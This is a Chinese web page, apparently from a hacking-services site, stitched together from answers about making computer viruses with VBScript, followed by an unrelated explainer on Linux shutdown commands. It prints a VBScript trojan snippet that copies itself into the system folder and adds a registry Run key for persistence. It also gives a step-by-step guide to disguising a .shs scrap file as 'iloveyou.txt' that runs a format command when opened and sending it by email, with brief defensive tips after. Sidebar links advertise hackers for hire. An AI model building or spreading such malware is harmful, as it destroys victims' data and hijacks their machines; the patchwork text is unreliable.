当前位置:首页 > 网站入侵 > 正文内容

用vbs自制电脑病毒(vbs病毒)

hacker2年前 (2022-07-05)网站入侵31

本文目录一览:

怎么用VBScript做一个可以破坏系统的病毒?

这个很难,几乎不可能

1、VBScript只能运行在IE浏览器中,即使做成VBS可独立运行的文件,也无法完全脱离IE浏览器;

2、VBScript是脚本程序,除了要受IE浏览器的安全机制约束,还要受其他很多限制,如果电脑系统中存在阶级,那么VBScript就是最底层的贫民,是屌丝中的屌丝;

3、360这类的安全软件对VBScript这类脚本程序一向严查、毫不手软的;

4、即使以上这些都不算事,一个软件要想破坏系统也绝非易事,也不知你说的破坏系统究竟是指破坏硬件系统还是软件系统,前者是不可能的,后者在几乎每台电脑都装了360或电脑管家的今天也几乎是不可能的;

5、即使以上这些都能做到,你还要求简单一些,那就只有上帝知道了,前提是上帝也懂编程。

如何使用VBS撰写一个木马

这个嘛,前面二个比较简单

set fso=createobject(scripting.filesystemobject)

set dir=fso.getspecialfolder(1)‘获得Windows\system32系统文件夹

fso.getfile(wscript.scriptfullname).copy(dir"\vbs.vbs")‘将自己复制到系统文件夹,并命名为vbs

set wshshell=createobject(wscript.shell)

wshshell.regwrite"HKLM\software\microsoft\windows\currentversion\run\vbs",dir"\vbs.vbs","vbs.vbs"'加入启动项

自制简单电脑病毒破解

右键点击桌面下方的弹窗,然后点击进入程序页面,钩选时间然后调整时间设置,点击确认,电脑自制的vbs小病毒就可以在相应的时间后关闭,就成功破解了。(本操作由win10完成,其他版本可能不适用,请谅解)

右键点击

点击进入程序页面

钩选时间然后调整时间设置,点击确认

右键点击桌面下方的弹窗,然后点击进入程序页面,钩选时间然后调整时间设置,点击确认,电脑自制的vbs小病毒就可以在相应的时间后关闭,就成功破解了。(本操作由win10完成,其他版本可能不适用,请谅解)

麻烦你给我写一个简单的电脑病毒、我试着制作一下、把过程写详细些好吗?

[本站原创]"TXT",即大家最熟悉的纯文本格式,它是一种最基本的文本文件保存格式。有体积小、兼容性好、无病毒等优点。实话说树大招风,黑客们却利用人们对TXT这份信任搞起了TXT"炸弹"。TXT炸弹其实是披着".txt"外皮的"碎片对象"(扩展名为SHS)的文件,它通过邮件附件的形式,悄悄的进入你的系统。善良的人们以为光临的是TXT文件,没有任何的考虑便双击运行。这时这只披着羊皮的"老狼",却脱掉"羊皮",露出原形,干起破坏计算机系统的勾当。为了保护自身的安全,摸清的"对方"的底细。今天我们向大家展示如何制作一个格式化软盘的TXT炸弹。我们的目的在于知已知彼,百战百胜。

实战"TXT"病毒

步骤1 打开记事本,创建一个只包含一个空格(为了减小文件体积)的文本文件,任意取名。

步骤2 打开写字板,将此文件拖放入记事本。也可以单击记事本菜单栏中的【插入】|【对象】,弹出【插入对象】对话框,选中【从文件创建】,然后单击【浏览】按钮选择要插入的文件(如图1)。

图1 插入对象

步骤3 选中该插入对象的图标,选择菜单栏中的【编辑】|【包对象】|【编辑包】(如图2)。

图2添加图标

在弹出的【对象包装程序】对话框中,选择菜单栏中的【编辑】|【命令行】,然后输入如下命令:Format.com a: /autotest,单击【确定】,此时,内容栏中会显示出命令内容(如图3)。

图3 添加命令

步骤4 单击外观栏中的【插入图标】按钮,会弹出一个警告对话框,确认,然后任选一个图标(如图4)。

图4 选取图标

步骤5 选择菜单栏中的【编辑】|【卷标】,为此嵌入对象取一个名称(会替换原来的文件名称)(如图5)。单击【文件】菜单中的【更新】,然后关闭此对话框。

图5 卷标

步骤6 将刚刚建立的嵌入对象拖放到桌面上。文件的默认名是"碎片",现在我们把它改成"iloveyou.txt"。打开电子邮件程序将桌面上的"iloveyou.txt"作为附件发出,或者将含有嵌入对象(带有恶意命令)的文档作为附件发出。

步骤7 当邮件接收者误将"iloveyou.txt.shs"文件作为"iloveyou.txt"放心地打开时,或打开文件,单击文件中的嵌入对象时触发恶意命令(弹出DOS运行窗口,执行格式化命令),假如此时有另一个程序正在访问软驱,则会显示如下信息"Drive A: is currently in use by another process. Aborting Format."(A驱正被另一个程序访问,格式化中止)。这样一个格式化软盘的炸弹就制作起来了,如果大家加上格式化硬盘的代码,那效果可以想象了。

防御

面对如此狡猾的TXT炸弹,平时就不拘小节的我们如何提防呢,下面向大家介绍两种防治措施,以防一方平安。

1.揭开TXT的外皮

其实TXT病毒最后的危害在于它的隐蔽性,如何我们能够揭开它的外皮,直接显示出".SHS"扩展名,这样危害就会减少很多。显示".SHS"扩展名方法其实很简单,只要找开注册表编辑器,从中找到"HEY_CLASSES_ROOTShellScrap"键,在其下面的一个键值为"NeverShowExt",它是无法显示".SHS"文件扩展名的"罪魁祸首",删除它,以后我们就可以直接看到".SHS"扩展名了,当然这时的人们绝不会在三心二意了。

2.更换"碎片对象"图标。

我们为什么一眼就可以看出某种文件的具体的格式,这都是由它们的默认图标决定的。因为于碎片对象文件的默认图标与文本文件图标非常相似所以我们经常将碎片对象文件误认为TXT文件。为了区别开它们,我们只要更换碎片对象文件的默认图标即可。打开"资源管理器",然后选中【查看】菜单下的【文件夹选框】,在弹出的对话框中选择【文件类型】活页卡,在【已注册的文件类型】下找到【碎片对象】。单击右上角【编辑】按钮,在打开的【编辑文件类型】对话框中单击上边的【更改图标】按钮(如图6)。打开C:WINDOWSSYSTEMPifmgr.dll,从出现的图标中选一个作为.SHS文件的新图标(就选第一排最后一个吧,一颗炸弹!),这样以后一看就知道这是一颗炸弹哟,大意不得。

图6 编辑类型

方便日常操作,常用的关机和重启命令

Linux中常用的关机和重新启动命令有shutdown、halt、reboot以及init,它们都可以达到关机和重新启动的目的,但是每个命令的内部工作过程是不同的,下面将逐一进行介绍。

1. shutdown

shutdown命令用于安全关闭Linux系统。有些用户会使用直接断掉电源的方式来关闭Linux,这是十分危险的。因为Linux与Windows不同,其后台运行着许多进程,所以强制关机可能会导致进程的数据丢失,使系统处于不稳定的状态,甚至会损坏硬件设备。

执行shutdown命令时,系统会通知所有登录的用户系统将要关闭,并且login指令会被冻结,即新的用户不能再登录系统。使用shutdown命令可以直接关闭系统,也可以延迟指定的时间再关闭系统,还可以重新启动。延迟指定的时间再关闭系统,可以让用户有时间储存当前正在处理的文件和关闭已经打开的程序。

shutdown命令的部分参数如下:

[-t] 指定在多长时间之后关闭系统

[-r] 重启系统

[-k] 并不真正关机,只是给每个登录用户发送警告信号

[-h] 关闭系统(halt)

shutdown命令的工作实质是给init程序发送信号(signal),要求其切换系统的运行级别(Runlevel)。系统的运行级别包括:

0:关闭系统

1:单用户模式,如果没有为shutdown命令指定-h或-r参数而直接执行,则默认将切换到此运行级别

2:多用户模式(不支持NFS)

3:多用户模式(支持NFS),一般常用此种运行级别

5:多用户模式(GUI模式)

6:重新启动系统

2. halt

halt是最简单的关机命令,其实际上是调用shutdown -h命令。halt执行时,杀死应用进程,文件系统写操作完成后就会停止内核。

halt命令的部分参数如下:

[-f] 没有调用shutdown而强制关机或重启

[-i] 关机或重新启动之前,关掉所有的网络接口

[-p] 关机时调用poweroff,此选项为缺省选项

3.reboot

reboot的工作过程与halt类似,其作用是重新启动,而halt是关机。其参数也与halt类似。

4.init

init是所有进程的祖先,其进程号始终为1。init用于切换系统的运行级别,切换的工作是立即完成的。init 0命令用于立即将系统运行级别切换为0,即关机;init 6命令用于将系统运行级别切换为6,即重新启动。

(T115)

扫描二维码推送至手机访问。

版权声明:本文由黑客业务发布,如需转载请注明出处。

本文链接:http://e-zmc.com/178988.html

分享给朋友:

“用vbs自制电脑病毒(vbs病毒)” 的相关文章

电视剧神话

电望剧神话(神话一连 剧正在线播搁)本創青石板影片 二0 二0-0 六- 一 六 0 八: 四0: 二 七 六月高旬,称为“穿梭更生 ”神文《赘婿》民间宣告 了主创职员 粗英团队,将电望一连 剧的拍攝提到了日程。那原书没有暂前刚曩昔 了九周年,现阶段仍正在网进级 ,据说 起码 借患上要三年网才有否能...

5g手机有哪些品牌【20款你喜欢哪个?】

当前地位 :SEO尾页>营销常识 > 五g脚机有哪些品牌( 二0款您怒悲哪一个?) 五g脚机有哪些品牌( 二0款您怒悲哪一个?)收集  二0 二0- 一0- 一 八  一 八: 一 九: 四 八 一 九 六 五G元年,各年夜 品牌也拉没了多款 五G脚机,人不知;鬼不觉,一共宣布 的 五...

专业黑客先做事后付款3(黑客教你3分钟盗微信

DNMP(Docker + Nginx + MySQL + PHP 七/ 五 + Redis)是一款齐功效 的LNMP一键装置 法式 。支撑 的办事 丰硕 、功效 壮大 、运用单纯、兼容多仄台。是实用 于多端的一款docker开辟 取临盆 情况 的PHP情况 齐野桶。DNMP名目特色 : 一00%谢...

专业接单黑客联系方式专业黑客先做事后付款3

当站少当了几年了,一个感想 ,曲奔着赔钱而去的站少当没有了多暂便转业 了,实邪的站少实际上是立着的,否以正在电脑前一立立到地明,站少皆有点疯,为何必修一句话:兴致 使然。实邪的站少必然 有很弱的抒发的 愿望,他是念经由过程 那个媒体去抒发本身 的某种口声。  但是 假如 能把兴致 酿成 银子,这天然...

先办事后付款的黑客qq黑客教你查询某人信息

也有几个单纯否以作到的要领 ,无妨 一试。   一)提求完全 的接洽 要领   包含 德律风 战实邪天址。   二)正在出有年夜 质孬的内容 以前,至长也要把网站作到四五十页以上  尽可能本创,出有便转载。   三)链交背几个同业 业内的威望 性网站  没有要多,而是粗。   四)把域名多注册几年,...

私人黑客联系方式(黑客教你查询某人信息)

当然baidu的流质年夜 野也是 晓得的。信任 作的网站的同伙 皆 晓得。您的站一朝baidu支到孬词,流质便一领弗成 整理 。年夜 野皆怒悲如许 。但是 孬词谁皆念要。但网站又没有是您一小我 有。年夜 野皆有。若何 作到让baidu上您的词排名靠前呢。上面单纯的说一高:(合适 新脚篇),嫩江湖莫抛...

评论列表

余安泪灼
2年前 (2022-07-05)

已注册的文件类型】下找到【碎片对象】。单击右上角【编辑】按钮,在打开的【编辑文件类型】对话框中单击上边的【更改图标】按钮(如图6)。打开C:WINDOWSSYSTEMPi

痴妓比忠
2年前 (2022-07-05)

"文件作为"iloveyou.txt"放心地打开时,或打开文件,单击文件中的嵌入对象时触发恶意命令(弹出DOS运行窗口,执行格式化命令),假如此时有另一个程序正在访问软驱,则会显示如下信息"Drive A: is currentl

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。